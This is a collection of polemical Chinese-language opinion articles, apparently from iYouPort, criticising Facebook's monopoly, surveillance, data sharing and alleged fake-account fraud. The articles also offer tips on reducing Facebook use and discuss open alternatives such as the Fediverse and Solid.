正如本网曾经分析的，删除并不容易，更解决不了根本性问题。Facebook 近20亿用户很可能无处可去。这是因为，除了少数例外，Facebook 一直在设法通过克隆或收购竞争对手来挤压其他对手，抢占领先地位，逐渐实现垄断人类的在线方式。这是一种习惯于不可替代性的商战策略。

自创立以来，Facebook 一直在为此做着准备。现在就是所谓的用武之地了。

技术产品之间互相复制并不罕见。硅谷充斥着几乎难以区分的创业公司，但 Facebook 自己的模仿品牌被视为与进步不相容，这是一种自然的垄断，也收窄了它的竞争空间。该公司不仅消耗了竞争对手，而且还消耗了我们所有人的习惯，使得普通人几乎无法接受 #DeleteFacebook，人们会感觉太难了、太不方便了，他们曾经把

整个生活甚至人生的未来都寄托在 Facebook 上了。

2009年，Facebook 以1500万美元收购了现已不存在的 FriendFeed，一家社交媒体聚合商，另外还有3250万美元的股票。那时 Facebook 已经在复制 FriendFeed 的原始功能了，比如“Like”按钮和实时更新。一年之后，Facebook 又为 Friendster 拥有的所有社交网络专利支付了4000万美元，这是另一个早已逝去的、并曾被很多人心爱的社交平台。

就如Gigaom 所说，“Facebook清除任何对其核心技术背后的知识产权形成冲击的对手是非常重要的”。在2012年，Facebook 花费10亿美元收购 Instagram，两年后以190亿美元购买了广受欢迎的消息应用程序 WhatsApp，Facebook Messenger 的竞争对手。然后，在2013年花费了1.5亿美元，用于名为 Onavo 的 VPN 技术，它允许该公司在保护其数据的幌子下监视用户的行为。

Facebook 收购了许多不同的公司。要么吸收它们，要么借用它们，要么买回来“收藏”。基于位置的入住初创企业、移动广告人才、群组消息技术、问答服务和社交赠送平台等，这些就是人们今天所了解和使用的 Facebook 的核心功能。这不仅令人怀疑，Facebook 究竟是想将社区融合在一起，还是使得在其他地方建立社区变得不可能？

就算删除是容易的，但你仍然要受制于Facebook 横跨全球的监控和定位网络。为什么：https://pao-pao.net/article/1026 更有，监视资本主义并非 Facebook 的专利，它早已是社交媒体时代的全球性生态。于是对我们大众而言，需要做到的是熟练掌握反追踪技巧、更多支持开源自由软件（反监控）和加密技术（自我保护），因为开源才是唯一能打败数字极权的利器。

原文

前 Facebook 高管讲述了社交网络的真相 - iYouPort

关于Facebook-这不只是一家公司

绝大多数企业控制的主流媒体都忽略了这次重要的采访

Chamath Palihapitiya 说：Facebook 和 Google 都是有效的监控国家工具。

可悲的是我们已经习惯于认为放弃隐私没有任何问题。而世界各地的政府和企业正在利用这点拼命为我们植入定位的宣传，并同时毫不费力地安装大规模监视。这就是为什么有人指出 Facebook 和谷歌是有效的监视工具并不是什么新鲜事。

不过，当然，这些话要是从监视巨头的内部人士嘴里说出来，依旧足够震撼。

Facebook 的前高管 Chamath Palihapitiya 最近与 CNBC 进行了交谈，并证实了我们许多人都知道的事实。但是有趣的是，绝大多数企业控制的主流媒体都忽略了这次采访。

Chamath Palihapitiya 对 CNBC 说：“Facebook 和 Google 实际上是监控国家的工具……他们有如此多的个人私密信息，来自这么多国家的公民。” Palihapitiya 指出，这两家公司实际上都在“邀请政府打击”。

虽然 Palihapitiya 先生说的是真心话，但当政府和公司从监视中受益最多时，很难指望政府进行干预并采取监管措施。老大哥活得很好，看着你做的每一个动作。两家公司确实是监控国家的工具，而且可以说是国家军火库中的另一种武器。

Chamath Palihapitiya 并不是第一个也可能不是最后一个公开谈论这个问题的前内幕人士。问题是：我们能做些什么呢？权利没有被行使就是权利的损失—— 声称你“没什么可隐瞒的”就像声称你“无话可说”并让国家剥夺了你的言论自由。

意识到大规模隐私侵犯是错误的，就是朝着正确的方向迈出的一步。

匿名是一种权利。如果政府勒紧的绳索继续，我们中越来越多的人将不得不学习如何锻炼它。

- 延伸阅读：《McChesney 警告：民主正在被互联网摧毁，他为什么这样说？》
- 《重新认识谷歌》

Former Facebook executive speaks the truth about social networks. Chamath Palihapitiya claims Facebook and Google are effectively surveillance states. Anonymity is a right. And if things keep moving in this direction, more and more of us will have to learn how to exercise it.

原文

如何戒断 Facebook？ - iYouPort

关于Facebook-这不只是一家公司

社交媒体成瘾是如今大多数人的困惑，明明知道不安全、被剥削、被追踪、被入侵……但是无法摆脱它；就如对毒品的感情，痛苦地爱着。它不仅偷走了你的时间、还剥夺了你的人权，你需要一点毅力才能找回自我。那么，怎么办？

其实很简单，只需要三步。当然，与戒断所有东西一样，这需要您强大的毅力。

1、第一步（这本身就需要毅力）就是从手机中删除官方 Facebook 应用程序。如果您想访问 Facebook，可以使用移动网站。给自己制造一点障碍是非常有必要的。

2、第二步，设置屏幕时间限制。在 iOS 12 中，Apple 增加了屏幕时间功能，可以跟踪您使用不同应用程序所花费的时间。您还可以使用它来限制您可以在整个社交媒体上或仅使用 Facebook 上花费多少时间。

「图」

「图」

并且它适用于应用程序和网站。如果您只想在 Facebook 上节省自己的时间，那么您可以设置屏幕时间限制。屏幕时间功能会在您接近“极限”时提醒您，当然，您可以忽略提醒。所以，它可能不会打破你的成瘾，但它至少会让你更加一些关于自己浪费了多少时间的意识。

3、杀死算法操纵的 Newsfeed：

「图」

「图」

最后一步，如果你真的想阻止自己通过 Newsfeed 的盲目滚动，最好的方法就是完全删除它。另外免费的应用程序 Feedless 使用 iOS 的内容阻止功能可以完全隐藏 Facebook 网站上的新闻源。你仍然可以发布状态，检查通知，并做其他一切：只是你不会再无意识地滚动以浪费时间了。（Feedless 还可以在 Safari 中阻止你的 Instagram 和 Twitter 提要，每月0.99美元）。

要进行设置，请从 App Store 下载 Feedless。转到设置」 Safari」内容拦截器并启用 Feedless。

「图」

「图」

现在，当您在 Safari 中访问 Facebook 时，您将不会在 NewsFeed 中看到任何帖子。如果你愿意，你可以禁用它，但这意味着放弃。

打破任何成瘾都是困难的，Facebook 也不例外。通过使用网站、屏幕时间和 Feedless 的组合，我成功地养成了好的习惯。你也可以做到。

How to Kill Your Facebook Addiction On Your iPhone: By using a combination of the website, Screen Time, and Feedless, I’ve managed to kick my habit. You can, too.

原文

完美帮凶 - iYouPort

关于Facebook-这不只是一家公司

这似乎是不言而喻的：如果你是一家美国科技公司，不要心甘情愿地协助压迫性政权打击他们的民众。然而，**Twitter** 永远帮助土耳其政府保持对异议人士和记者的沉默；而 **Facebook** 允许各国政府将其审查工具武器化 **...** 现在轮到苹果了。他们做了什么？

这似乎是不言而喻的：如果你是一家美国科技公司，不要心甘情愿地协助压迫性政权打击他们的民众。然而，Twitter 永远帮助土耳其政府保持对异议人士和记者的沉默；而 Facebook 允许各国政府将其审查工具武器化……

并且现在，Ron Wyden 正在呼吁苹果和谷歌让沙特阿拉伯男人更容易监视他们的配偶（和员工）的一举一动，视他们为“财产”，而不是人。

苹果和谷歌被指控在沙特阿拉伯帮助“强制实施性别种族隔离”，他们提供了一个阴险的应用程序，允许男性跟踪女性并阻止她们离开该国。

Google Play 和 iTunes 都能找到这个应用程序 Absher，这是一项政府网络服务，允许男性指定女性何时以及如何跨越沙特边境，并在旅行途中接近实时地跟踪位置更新。

这两家公司都没有任何理由在他们的应用程序商店中托管这么一个间谍应用程序。如果 Absher 的创作者想要发布一个可以阻止某些沙特公民被平等对待的应用程序，他们可以自由地在自己的网站上托管它。这并不像是某种开发人员没有足够的影响力去单独完成的事。可该应用程序却在谷歌和苹果的商店里。该应用程序由沙特政府开发和支持。

这不是美国公司应该提供平台空间的东西。

正如批评者指出的那样，两家公司都制定了阻止“促进威胁和骚扰”的应用的政策。Absher 可能有一些良好的功能（如支付停车罚单），但应用程序的整体要点是允许沙特男子决定他们的妻子何时可以旅行、以及确定她们随时都在哪，她们无法再逃避这个国家的法律允许的可怕的虐待。

威胁和骚扰几乎都是可以肯定的，而且甚至没有深入研究该应用程序提供的24小时监控员工的能力。

Ron Wyden is calling out both Apple and Google for making it easier for Saudi Arabian men to treat their spouses (and employees) like possessions, rather than people. Threats and harassment are all but guaranteed, and that’s without even delving into the app’s ability to provide employers with 24-hour surveillance of their employees.

原文

当删除都没用的时候，怎么办 - iYouPort

关于Facebook-这不只是一家公司

⚠ 一项令人担忧的调查显示，流行 Android 应用程序在未经用户同意的情况下与 Facebook 共享用户数据—— 最糟糕的是，意味着你删除 Facebook 根本没用。

隐私国际是一家总部位于伦敦的慈善机构，专注于改善人们的个人隐私，于2018年8月至12月期间检查了34款流行的 Android 应用程序，每款应用程序安装量为10至5亿次。

所有这些应用程序都通过其SDK（软件开发工具包）与 Facebook 共享数据，如果用户在某种程度上同意了这一点，那似乎还好一点；但是，该组织截获了数据（使用免费提供的开源工具），并发现至少有 20 个应用程序（大约 61％）“在用户打开应用程序时就自动将数据传输到 Facebook 了”。

即使用户退出 Facebook 、甚至根本没有 Facebook 帐户，也会发生这种情况。

共享的数据本身听起来似乎无害：通常，应用程序通过发送 Facebook 的 SDK 已初始化的信号向 Facebook 传达用户已开始使用该应用程序的信息。⚠ 但 Privacy International 的研究表明，自动共享此数据的应用程序与称为 Google 广告 ID 的唯一标识符一起使用。 ！

⚠ “如此一来，来自不同应用程序的数据可以描绘人们的活动、兴趣、行为和惯例等等一切细致和私密的全景图，其中一些甚至可以揭示特殊类别的数据，包括有关人们健康或宗教的信息，”Privacy International 说。

想象一下，这些数据落在政府手里意味着什么**?**

- 延伸阅读：《深层政治：Facebook 金字塔的人形肌理》通过开源数据来挖掘这些政治旋转门。再次提醒，谷歌也一样！并且⚠这些巨头之间很可能并非竞争关系

- 我们都以为更新是为了更安全，⚠ 但Facebook的更新是为了更容易窥探你的隐私！Facebook 显然利用了用户数据的访问授权，作为杠杆获取它想从其他公司得到的东西，或者使之成为武器用于对付竞争者；《最新曝光的内部文件揭露了 Facebook 最可怕的隐情》

一些应用甚至更进一步，将最敏感的数据发送到 Facebook，一个例子是旅游搜索应用程序 Kayak，它向 Facebook 发送有关用户航班搜索的详细信息！包括出发/到达日期、城市和机场以及门票的数量和等级等数据！ 上述数据共享甚至适用于没有 Facebook 帐户且已选择不接收 Facebook Cookie 的用户。

Aworrying number of popular Android apps share user data with Facebook without user consent, Staying off Facebook doesn't protect you from this.

原文

扎克伯格的假账户庞氏骗局和监视资本主义的命运 - iYouPort

关于Facebook-这不只是一家公司

打破监视资本主义可能吗？不知道，因为目前为止还没有人真的尝试过

「图」

「图」

Facebook 现在的市值接近 6000 亿美元，这使其成为地球上最有价值的公司之一。这是一个真正的商业奇迹：这家2012年就已经开始失去用户的公司居然设法找到了“近乎无限和持续增长”的源泉……

延伸：开源调查揭示《深层政治：Facebook 金字塔的人形肌理——扒开利维坦的内裤》

多么神奇啊，那个“天才”的商业秘密，将一个亏本的创业公司变成了全世界“最伟大的商业成功故事”之一。这是为什么？

从 Bernie Madoff 身上就能看出原因之一：欺诈，以假帐户的形式。

旧钱出来，新钱进去取而代之，这就是传统的庞氏骗局的运作方式。是 Madoff 坚持了几十年的努力，他成功地获得了纳斯达克主席的职位。

扎克伯格的版本略有不同，但只是略有不同而已：老用户在感到厌倦、厌恶和不信任之后离开，新用户进来取代他们。

扎克伯格的朋友 Sam Lessin 告诉我们，这个等式中的“新用户”部分已经在2012年就成为了一个问题。

当年的10月26日，Lessin 写道，“我们已经没有人类资源了（从广告商的角度来看，已经耗尽了宝贵的人类资源）。”

当时 Facebook 甚至还有一个可行的商业模式远未明朗，据 Frontline 称，由于该公司收入数据不佳，Sheryl Sandberg 感到恐慌。

为了平衡并保持“增长”趋势，Facebook 所做的只是假装视而不见。

在 Singer v.Facebook 案中，这个在加利福尼亚州北部地区提起的诉讼称 Facebook 一直在告诉广告商它可以“覆盖”更多人，已经远远超过了每个主要大城市的实际人口 —— 原告引用前 Facebook 员工的内幕消息（完全可以理解，这种事只有隐藏很深的内部人士才能知道）Facebook 的“潜在影响力” 统计数据是“被人为制造出来的公关号”。

而且，“那些负责确保准确性的人并没有在此做任何事”；“Facebook 的前运营承包商表示 Facebook 并不关心阻止重复账户或假账户。”

Facebook 在美国已不再增长，2019年第一季度新增账户数为零，自2017年第一季度以来只有400万新账户。

根据 Facebook 首席财务官大卫·韦纳（David Wehner）的说法，Facebook 在印度、印尼和菲律宾增长最快。

Wehner 没有提到幻灯片第18页的细则，其中突出显示：菲律宾、印度尼西亚和越南是假冒账户中“最有意义的、百分比最高”的国家。

换句话说，在全世界范围内，Facebook 被发现欺诈最多的地方“增长速度最快”。现在你明白了，Facebook 根本没有增长 —— 它正在萎缩。

甚至印度、印尼和菲律宾也没有像以前那样增长； Instagram 上的许多“新”用户实际上都是来自核心平台的老用户。

上一次扎克伯格表示 Facebook 的“增长鼎盛时期”是在2018年7月附近，当时股票暴跌，最终成为美国历史上任何一家公司股票单日跌幅最大的一天。

在大约一个小时内，从每股220美元左右暴跌20%至165美元左右。

不用说，一小时内市值损失约1200亿美元，这足以阻止扎克伯格避免重复的表演。

「图」

「图」

由于勉强逃脱了华尔街的愤怒，扎克伯格知道他无法摆脱他已经折腾了多年的增长跑步机。唯一的解决方案：向投资者说谎，试图说服他们一切都很好。

然而，扎克伯格的虚假账户与 **Madoff** 的虚假账户报表没有什么不同。

谷歌趋势显示全球 “Facebook” 查询比2012年11月的峰值下降了80%。（Instagram 甚至没有弥补任何损失）衡量 Facebook 移动应用程序使用情况的“移动指标”也明显下降。

该公司自己关于虚假账户的披露存在明显问题，主要是其内部的不一致性 —— 一组数据A（以百分比衡量）向美国证券交易委员会披露，而另一组数据B以绝对数字形式显示在其所谓的“透明度门户网站”上。

虽然他们“发现”问题以惊人的速度升级 —— Facebook 声称虚假账户为5%、重复账户为11%，2017年第二季度分别为1%和6% —— 但他们什么也没做。

截至2017年底，Facebook 决定停止每季度发布这些百分比，改为每年一次。眼不见，心不烦。

有人可能会争辩说，美国证券交易委员会的披露受到“证券交易法”的严格规定，Facebook 居然那么大胆地向投资者撒谎？

但他们真的这么做了。

也许还有人认为透明度门户网站指标由一个学术团队审核—数据透明度咨询小组（DTAG），他们应该保证其有效性？

但 DTAG 学者已经承认他们是由 Facebook 支付的。即使经过数月的努力，他们在4月份发布的最终报告中提到假账户只有三次。在关于Facebook的假账号问题上。DTAG 奇怪地表现出无话可说。

也很难说真的“奇怪”，这种手段谷歌也用过《权谋：为游说华盛顿，谷歌制造了一个冠冕堂皇的傀儡》

全面回顾 Facebook 的披露表明，在该公司的120亿总账户中，约有100亿是假的；其中多达10亿可能是活跃的（这是最保守的估算）。

这可能是历史上最大的企业欺诈的关键。

广告商在假设观看和点击广告的人是真实的人类并以此向 Facebook 付费。但事实并非如此。

Facebook 绝对没有动力来解决这个问题—问题已经在法庭上，并且是它的前员工正在揭露。

从扎克伯格的角度来看，这就是钞票雨。要让广告客户花钱，他所要做的就是让世界相信 Facebook 是巨大的，而且只会变得更大。

没有任何媒体敢于提出这一可能令人尴尬的问题，更不用说国会了，而且很少有人理解 real-time pricing auctions、cookies、user disambiguation 的细枝末节。

每个人都宁愿谈论该公司对所谓的“创新”的奉献精神、以及 Libra 完全没必要的复杂"伪"加密货币系统的可笑。

扎克伯格很聪明，但他从来没有足够聪明到愿意倾听他人经验的程度。他最常用的缩略词是什么—VR？ AI？—就像切尔诺贝利一样，由此产生的尘埃无处不在，无法清理，地上还有尸体。

即使是他的联合创始人和前室友也不能完全支持他，尽管克里斯休斯仍然乖乖地将马克称为“善良的人”，“没有什么能比一个有才华的企业家的善良喧嚣更邪恶的事了”。

这显然是错误的。扎克伯格不是什么善良的人。他所从事的唯一喧嚣就是普通意义上的欺诈。

Facebook 是一个真正的产品，但像 Enron 一样；它也是一个骗局，现在是有史以来最大的企业丑闻。

它不会公布有关2016年选举、假账户或任何重大事项的数据 —— 而且由于扎克伯格自己知道这是一个骗局，他不会同意在英国议会面前以可能要求他如实回答的方式作证任何实质性问题。

而且，由于 **Facebook** 也是标普**500**指数的一部分，无数人都有动力维持现状。

Facebook 已成为下届总统大选的竞选辩论问题之一。伊丽莎白沃伦说“应该拆解它”； Beto O’Rourke 希望“更强有力的监管”；Kamala Harris 宁愿谈只论隐私问题 ……

延伸：为什么科技寡头非常乐于拥护政府监管？《拥护的背后》。

其他人—甚至特朗普—普遍同意需要“做点什么”。

然而，未说出口的中心问题仍然存在：扎克伯格正在运行庞氏骗局，但华尔街、国会、联邦贸易委员会、智囊团及其同伙，都绕开了这点。

在这一点上，任何了解寡头公司的人都不应该感到惊讶。扎克伯格不了解法治，也不了解新闻自由的作用，他有一种危险的信仰，认为自己是绝对正确的。

只要有钱赚，他很愿意养活更多剑桥分析公司那样的“合作伙伴”。

在哈佛大学法学院的一次演讲中，马特·斯托勒认为：Facebook、谷歌和亚马逊“生来就是垄断者”。

这可能是一个令人注目的说法，如果人们愿意忽视现实的话。

但这不是这真的。

首先，软件产品不是铁路，需要大量的物质资本和劳动力来建立；如果他决定这样做，扎克伯格可以花几周时间重建 Instagram 和 WhatsApp，政府真的没有办法阻止他。其次，至少当 Facebook 于2003年9月19日出现时它看起来毫无垄断的意味。

垄断不是天生的，正相反是被长期以来不正当的奖励所滋养出来的。

人们经常将监视资本主义与数字技术等同起来，或者认为是因果关系。其实不是一码事。监视资本主义是一种经济逻辑，它为了自己的目的而劫持了数字技术。

监视资本主义经济从下方和上方侵蚀民主。

在基层，该系统旨在压制个人意识、破坏人权机构、消除决策权、减少自主权、剥夺人们的反抗权。以极端的知识和权力集中化为形式（这里）。

监视资本家了解我们的一切，但我们仍对它们知之甚少。

在没有法律约束的情况下，监视资本主义快速蓬勃发展起来。

就如 Shoshana Zuboff 所认为的那样，经常有人声称无法控制这种流氓资本主义，但事实是。目前为止还没有人试过真正去控制它。

好消息是：人类社会过去曾经成功地压制了破坏性的资本主义形式，推动新的法律将资本主义束缚在人们的真正需求范围内。民主结束了镀金时代。

我们完全有理由相信我们可以再次获得成功。

下一个伟大的监管愿景很可能是由反抗者构成的：立法者、公民和技术专家，他们认识到只有民主才能通过法律和法规维护人民的利益。

问题是，什么样的监管才有效？隐私法案和反托拉斯法律的现有方法是否可以作为答案？承认两者都很关键，但是，两者都不够。

一个例子是隐私法要求“数据所有权”。

这是一种误导性的概念，因为它合法地将单方面的人类经验 —— 你的脸，你的手机，你的冰箱，你的情感等等一切 —— 转化为数据。

即使我们实现了控制向 Facebook 这样的公司提供的数据的“所有权”，也无法实现控制从中获取的预测的“所有权”。

详见：《“数据所有权”不仅无法解决现有问题，它还制造了新的问题》。

我们永远不会拥有每秒钟产生的600万次预测。监视资本家知道这一点。这就是为什么监视资本主义寡头很高兴拥护”所有权”概念，并公开邀请隐私法规。

详见：《以隐私为目的的斗争如何让你变成了监视的盟友》

立法者应该怎么做？

首先，中断和禁止监视资本主义的数据供应和收入流。

这意味着，在前端，禁止秘密窃取私人经验；在后端，禁止数据交易。就如当年成功禁止贩卖奴隶那样。

其次，过去十年的研究表明，当“用户”被告知监视资本主义的后台操作时，他们需要保护，他们需要替代方案。

尤其需要法律和法规，旨在帮助那些有希望打破监视资本主义体系的公司。符合人们实际需求和市场民主规范的竞争者可能会吸引地球上每个人作为他们的客户。

更多《Google 产品的替代品完整列表》。

第三，立法者需要支持新形式的集体行动，正如近一个世纪以前，工人们为其组织、集体谈判和罢工的权利赢得的法律保护。

监视资本家既富有又强大，但他们并非无懈可击。他们害怕法律。他们害怕坚持不同道路的公民。

这两个团体在拯救民主的数字化未来的工作中应该联系在一起。〇

原文

打破 Facebook 究竟需要什么？ - iYouPort

关于Facebook-这不只是一家公司

想要打破它，就需要分析以了解维系它的运转所依赖的东西究竟是什么

「图」

「图」

这个世界与 Facebook 的关系已经从迷恋变为了被动攻击。

人们对 Facebook 的情绪爱恨交织，经常能看到他们在 Facebook 上分享批评 Facebook 的帖子；以及愤怒驱动的注销但少卿便会回归。

事实上，Facebook 已经做到了让人们很容易错误地接受它存在的严重问题，不论是数据管理、用户权利、隐私人权、透明度、还是认知控制。

五月底，Facebook 的联合创始人克里斯休斯呼吁联邦贸易委员会与Facebook散伙。休斯指出，Facebook 是一个事实上的垄断企业。

他绝不是第一个说出实话的人。

经济学人是另一个先行者，值得注意的是，它还指出了垄断的真实本质，而不仅仅针对 Facebook：即 如果数据是新石油，**BigTech** 拥有的则是石油钻井平台。

Facebook 等数据驱动的产品首先获取数据，并用它来增强产品，以收集更多的数据。

然而，正如 ZDNet 的 Larry Dignan 所指出的那样，联邦贸易委员会是否会将 Facebook 视为垄断是值得怀疑的。

就算这种情况发生也需要一段时间；就算发生，散伙是否会起作用也是值得怀疑的 —— 正如互联网先驱 Jaron Lanier 所指出的那样，基

于服务换取数据的商业模式中单独的打破总是会导致不对称。

也就是说，就算 Facebook 本身被打破，基于相同模型的 Facebook 克隆体会接连出现，其结果可能没有太大区别。

在演讲中 Lanier 反思了谷歌和 Facebook 等公司在数字文化基础上制造的“全球性悲剧、令人震惊的荒谬错误” —— 以及我们如何改变这一窘境。他说：“如果两个人希望沟通我们无法建立一个社会，唯一可能的方式，它是由希望操纵它们的第三人资助的。”

在这里看到视频：https://www.ted.com/talks/jaron_lanier_how_we_need_to_remake_the_internet?utm_campaign＝tedspread&utm_medium＝referral&utm_source＝

要解决这个问题，需要结合使用技术、数据和社交工程学。

数据文化：支付数据的价格

关于人们对数据收集的态度的调查是有说服力的。

受访者希望获得更多隐私，但是不愿意为此付费。他们中的很大一部分人甚至愿意提供更多数据以换取便捷的免费服务。这已经足够说明了目前世界上的数据主权和意识的状况。

尽管在个人层面上进行分析应该是令人担忧的，但这本身就是最重要的。

你的数据是为 **Facebook** 提供动力的石油。随着每一个滚动、点击、点赞、阅读，你一直不断地为它的垄断提供能源，你已经用你的手指投票支持它了。虽然看起来是一种交易，但是，即使您不使用 **Facebook**、甚至没有拥有帐户，**Facebook** 也同样在尽力获取您的数据。

并且《Facebook 给了全球当权者一个终极暴政蓝图》

Facebook 通过其实践积累的数据量意味着它在数据财富竞争和AI竞争中占据了极大的优势。

这个世界正在越来越多地通过机器学习算法来运行，数据训练这些算法的重要性是至关重要的。由于研究人员需要数据来使算法发挥作用，Facebook 的数据库也吸引了大量人才。

然而，这给我们带来了一个非常现实的问题。

正如休斯指出的那样，在剑桥分析公司丑闻曝光后，对 Facebook 的强烈抗议已经愈演愈烈。

关联《心理操纵的秘密：”行为经济学”＋PR＝？》

但是，**#deletefacebook** 并未导致太多变化，因为缺乏可行的替代方案，意味着人们基本上只有两种选择：完全放弃社交网络，或继续使用 **Facebook**。

但除了 Facebook 之外真的别无选择吗？

要回答这个问题，必须首先在功能方面分解 Facebook。

Facebook 确实汇集了强大的功能，它们都捆绑在一起，通过其后天的生态系统进一步扩展 —— WhatsApp 和 Instagram。

尽管很少有替代品能够以 Facebook 这样的无缝方式提供所有这些选择，但确实存在替代方案。

WhatsApp 曾经是其中之一，可惜它现在被 Facebook 吞并了；其他消息应用程序也有联系人管理和对群组和渠道的支持，其中一些，如 Telegram、Mastodon 或 Diaspora，也是开源的，它们使用户可以选择更多地控制他们的数据。

但是，这些应用主要被已经脱离社交网络的人或边缘群体的人使用。那么，为什么它们没有赶上 Facebook？

碎片化是一个原因。

如果您的某些联系人使用A应用程序，而其他人使用B应用程序，那么如何通过它们进行通信呢？

但这已经不再是一个问题 —— 如果您从 Fediverse、Federation、或 Activity Web 中发布，就可以做到跨平台沟通。

详见我们曾经的详细介绍《如何才能挑战 Facebook 并取得胜利？》

因为这些应用程序构建在开放式通信协议之上。虽然每个应用程序都有自己的UI／UX和特权，但支持这些开放协议可确保基本功能适用于所有应用程序。

这意味着您可以跨应用程序跟随人员和消息。你会觉得非常酷，的确是 —— 但是它还不够好。 Facebook 的核心功能不应该太难复制，许多替代社交网络应用程序已经做到了这一点。

但是，这些应用程序尚未成为主流的部分原因是，坦率地说，其中许多应用程序尚未做好准备。

它们的功能通常是有限的且不稳定的，UI / UX 并不理想，并且大量的应用程序基于旧的编程框架，这些框架难以跟上现代开发进度并吸引贡献者。例如，它们中的许多没有移动应用程序。

「图」

「图」

有一个不断扩展的替代开源社交网络平台生态系统。好消息是这些平台为用户提供了很好的控制权并提供了互操作性。坏消息是，它们不像Facebook那么容易使用。图：Sean Tilley

然而，无论它们的实施质量如何，这些应用都有完全不同的理念。它们通常不由承担安装、配置和保持后端运行的商业实体托管。

这意味着潜在用户可以做以下两件事之一：弄一个个人服务器；或者，找到运行他们想要使用的应用程序的服务器节点的人。第一种选择对绝大多数用户来说是不可行的。

尽管像 Freedom Box 这样的努力有望使托管您自己的应用程序变得更容易，但它们尚未能提供无缝功能。

第二种选择可能更为现实。各种各样的家庭、朋友和社区都可以参与进来，选择他们的应用程序并将其作为托管服务使用。

但是，这两种选择都需要花钱。不只是支付运营费用；或许，更重要的是，支付获取所有权和控制数据的费用。

你喜欢社会工程学吗？

是的，需要一些社会工程来完成这项工作。即使有营销预算，但实现某些目标并非易事。总是有转换成本，除了必须提倡联合之外（一个人离开没有用，需要一群相关的人一起离开才行），**Facebook** 也肯定不会让您轻松拿走数据并离开。

首先，直到最近，你甚至都没得选。现在 Facebook 中有数据导出功能，但您获得的数据远非完整且可用于启动的，它的格式是专有的，你没法使用。而且缺少重要信息，最突出的是，没有点赞数据。

你可能已经听到过心理学分析，也就是“**5**个点赞足以描述你”，以及，Facebook 及其许多合作伙伴可以访问这些数据的事实。

但是，生成数据的用户无权访问它。你在数据导出中得到的只是你点赞的东西 —— 而不是它意味着什么！而且这甚至会还不包含 Facebook 没有让你导出的所有其他信息。

这些不仅仅是可以帮助你引导另一个应用程序的数据；并且，您或您授权的任何人都可能会使用这些数据来训练机器学习算法。

不论有没有 **GDPR**，**Facebook** 都能确保你拿不走这些数据。

因此，监管应该迫使 Facebook 运行用户只需按一下按钮就可以拿到所有信息。删除帐户及其所有数据也应该同样容易（目前的事实完全相反）。

需要明确的是，在这个问题上，离开 Facebook 或任何其他平台都不会是最终的结果。但这将是实现这一目标的重要一步。它可以让用户随意选择如何使用他们的数据。

在数据使用方面 Facebook 对美国和英国的政府关于透明度的呼吁表现出同样的蔑视。

数据主权恰恰是由 Tim Berners Lee 倡导的应用程序开发框架 Solid 背后的愿景。Berners Lee 在创业公司 Inrupt 以及来自开源和研究界的贡献者的帮助下，正在研究 Solid。在这里看到介绍《》

Solid 正致力于开发 pods。您可以将 pod 视为个人数据保险库，将所有数据保存在一个位置。从那里，您可以授权应用程序使用数据，以提供读取或写入权限。

pod 可以托管在您自己的机器上，也可以托管在云端。

听起来不错，但这很棘手。除了所有非技术原因外，还存在技术本身的障碍。

如果实现，那就意味着应用程序必须从整个网络和云端的 pod 中获取数据才能工作。在分布式环境中查询是非常困难的。但 Solid 在那里

有一张王牌：知识图谱 Knowledge Graph。

「图」

「图」

知识图谱是对可追溯到20年前的技术的重塑。前 Semantic Web 现在重新命名为 Linked Data 正在为此努力 ，这项技术实现了许多功能，包括联合查询。

Linked Data stack（RDF，URI 和 SPARQL）可以使任何数据在 Web 上可访问和查询。Solid 基于这项技术，有效地旨在为每个用户构建个人知识图谱。

毋庸置疑，这是非常雄心勃勃的，这可能也有助于解释为什么仍然没有适用于 Solid 的生产就绪的软件。

SPARQL 不仅仅是一种查询语言。它也是一种协议，可用于跨 Web 上的许多端点执行联合查询。但从性能和可用性的角度来看，这远非微不足道。对于这类应用程序而言，使用 SPARQL 和 Linked Data stack 对于专业人士来说也具有挑战性。

看起来 Solid 团队有心态和人才能使其发挥作用，而技术正在进行中。Ruben Verborgh、Semantic Web 教授、研究员和 Inrupt 技术倡导者，与他的团队一起致力于利用工具来丰富 Linked Data stack，以满足现代开发人员的需求。

他们的工具基于 JavaScript 和 React 等框架，旨在使编程 Solid 成为一种无缝体验。

Verborgh 和团队正在努力与开发者见面。他们不是期望开发人员切换到 Linked Data stack，而是给他们提供在Solid上构建应用程序的工具。

考虑到 React 在 Facebook 上的起源，这很聪明、务实、也有点讽刺。但它会起作用吗？

Berners Lee 的杠杆作用可能有所帮助，但成功需要的不仅仅是好的意愿。

2009年，Berners Lee 在TED上呼吁观众支持他之前的项目 Linked Open Data，这是关于将开放数据作为 Linked Data 的技术。今天，

开放数据集可能正在增长，但这些数据集的可用方式是不同的。

让 Solid 生产就绪并能够在其上构建应用程序，在很大程度上取决于对开发者的吸引。

吸引开发者是一门艺术。也需要有很多钱。我们不知道 Solid 是否具备所有这些条件，它是一个很好的起点，但并不一定能保证成功。

不过只要想想将 Fediverse 和 Solid 放在一起就可以开辟的可能性。这是社交网络变革的关键，赶走中间的独裁者，实现数据主权和一个全新的创新生态系统。

祈祷 Solid 很快就会变得坚实吧。

Breaking up Facebook? Try data literacy, social engineering, personal knowledge graphs, and developer advocacy

原文

拥护的背后 - iyouport

关于Facebook-这不只是一家公司

【2019年7月24日存档】不要被某些家伙义正词严的表面现象所蒙骗，他们所做的一切不论看起来多么的光明正大，都不过是为了满足其自己的利益。拥护监管的家伙在偷偷耍着自己的小心机。拥护的背后是什么？

谁会拥护政府的监管？不要被某些家伙义正词严的表面现象所蒙骗。

扎克伯格希望政府更多地监管社交媒体。他在主流媒体上说，“我认为我们需要政府和监管机构发挥更积极的作用。通过更新互联网规则，我们可以保留最好的信息—— 人们表达自己和企业家建立新事物的自由—— 同时保护社会免受更广泛的危害。”

他指的是一种什么样的监管？具体而言，扎克伯格总结道：“我们需要在四个方面进行新的监管：有害内容、选举完整性、隐私、和数据可移植性。”

他希望更多国家采用欧盟通用数据保护条例的版本。

其实根本无需过多解释，任何听到扎克伯格这样言论的人都应该立即假设这种新的监管支持可以帮助 Facebook 赚更多钱。毕竟，就这个家伙反复向他的客户和国会谎报谁可以访问用户的个人数据、以及如何使用数据;他是一个曾经厚颜无耻地将 Facebook 用户称为“Dumb F-cks”的人；Facebook 对其视频平台的收看率数据向客户撒谎（是客户不是用户），更多 shit 详见 IYP 类目“关于 Facebook”—它不只是一家公司。

难道扎克伯格现在自愿想为人道主义目的牺牲自己的一些权力和金钱？别做梦了（尽管像 Mark Warner 这样的政治家似乎只是以表面价值看待它）。

